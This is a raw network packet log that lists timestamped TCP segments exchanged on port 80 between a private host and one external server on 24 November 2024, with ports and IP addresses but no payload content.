Nov 24, 2024 12:05:35.963597059 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.964787960 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.964905024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.964951992 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.966243982 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.966372967 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.966420889 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.967582941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.013578892 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.094721079 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.094896078 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.094945908 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.095457077 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.095594883 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.095643997 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.096622944 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.096640110 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.096682072 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.097456932 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.097474098 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.097512960 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.098515034 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.098866940 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.098915100 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.100033045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.100219011 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.100265026 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.101243973 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.101258993 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.101300955 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.102214098 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.102566957 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.102612019 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.103497028 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.103672028 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.103718042 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.104671955 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.104840994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.104892969 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.105792046 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.105963945 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.106008053 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.107131958 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.107147932 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.107194901 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.108278036 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.108294010 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.108345985 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.109227896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.109391928 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.109440088 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.110388994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.110552073 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.110599041 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.111546040 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.111718893 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.111737013 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.111753941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.111768007 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.111793995 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.112812996 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.112936020 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.112983942 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.113935947 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.114089966 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.114140987 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.115124941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.115264893 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.115310907 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.116283894 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.116391897 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.116444111 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.117463112 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.117583990 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.117629051 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.121459961 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.121475935 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.121493101 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.121510983 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.121517897 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.121550083 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.122131109 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.122147083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.122184038 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.123261929 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.123428106 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.123471975 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.123594046 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.123622894 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.123657942 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.124440908 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.124519110 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.124561071 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.125582933 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.125735044 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.125773907 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.126698017 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.126785040 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.126957893 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.127819061 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.127974987 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.128012896 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.128968000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.129080057 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.129118919 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.130141020 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.130245924 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.130286932 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.131289005 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.131407022 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.131453991 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.132528067 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.132616997 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.132661104 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.133584023 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.133691072 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.133730888 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.135077000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.135158062 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.135202885 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.135893106 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.136017084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.136058092 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.137088060 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.137238979 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.137280941 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.138333082 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.138495922 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.138540030 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.139420033 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.139494896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.139543056 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.140588045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.140688896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.140739918 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.141805887 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.141892910 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.141930103 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.142812967 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.142957926 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.143007040 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.144002914 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.144114017 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.144155979 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.145137072 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.145224094 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.145256042 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.146285057 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.146394968 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.146460056 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.147461891 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.147526026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.147567987 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.148560047 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.148741961 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.148781061 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.149753094 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.149889946 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.149925947 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.150902033 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.151004076 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.151042938 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.152026892 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.152136087 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.152177095 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.153177977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.153289080 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.153328896 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.154300928 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.201081991 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.295258045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.295423031 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.295469046 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.295717955 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.295842886 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.295892954 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.296600103 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.296727896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.296775103 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.297771931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.297885895 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.297943115 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.298917055 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.299030066 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.299150944 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.300056934 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.300179005 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.300223112 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.301234007 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.301387072 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.301429033 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.302419901 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.302553892 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.302607059 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.303740025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.303894997 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.303942919 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.304788113 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.304960966 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.305002928 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.305891037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.305988073 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.306034088 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.307002068 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.307130098 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.307171106 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.308172941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.308314085 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.308357954 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.309299946 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.309520006 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.309570074 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.310655117 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.310794115 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.310854912 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.311790943 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.311850071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.311892986 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.312808990 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.312865019 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.312902927 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.313958883 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.314026117 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.314084053 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.315047979 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.315187931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.315234900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.316220045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.316344023 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.316395998 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.317471981 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.317722082 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.317768097 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.318533897 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.318661928 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.318711996 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.319694042 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.319818020 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.319861889 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.320837021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.320915937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.320960999 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.322057009 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.322154999 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.322196960 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.323302031 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.323376894 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.323425055 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.324270964 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.324398994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.324450016 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.325443029 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.325608015 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.325659037 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.326606035 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.326750994 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.326797009 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.327800035 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.328007936 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.328058958 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.328885078 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.329025984 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.329080105 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.330243111 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.330353975 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.330399990 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.331269979 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.331460953 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.331505060 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.332412958 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.332607985 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.332660913 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.333525896 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.333657980 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.333703995 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.334686041 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.334844112 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.334887981 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.335802078 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.335899115 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.335941076 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.337002993 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.337157965 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.337207079 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.338112116 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.338332891 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.338381052 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.339400053 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.339528084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.339581013 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.340401888 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.340514898 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.340559959 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.341566086 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.341717005 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.341763973 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.342799902 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.342900038 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.342952013 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.343872070 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.343995094 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.344127893 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.345052004 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.345208883 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.345257044 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.346189022 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.346347094 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.346391916 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.347333908 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.347456932 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.347501040 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.348481894 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.348561049 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.348604918 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.349637032 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.349803925 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.349848986 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.350769997 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.350876093 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.350940943 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.351980925 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.352009058 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.352047920 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.353077888 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.353127956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.353210926 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.354315042 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.354408026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.354451895 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.355415106 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.404292107 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.499351025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.499440908 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.499592066 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.499820948 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.499953985 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.500037909 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:36.501009941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.501116991 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:36.502253056 CET	80	49899	178.215.224.74	192.168.2.5
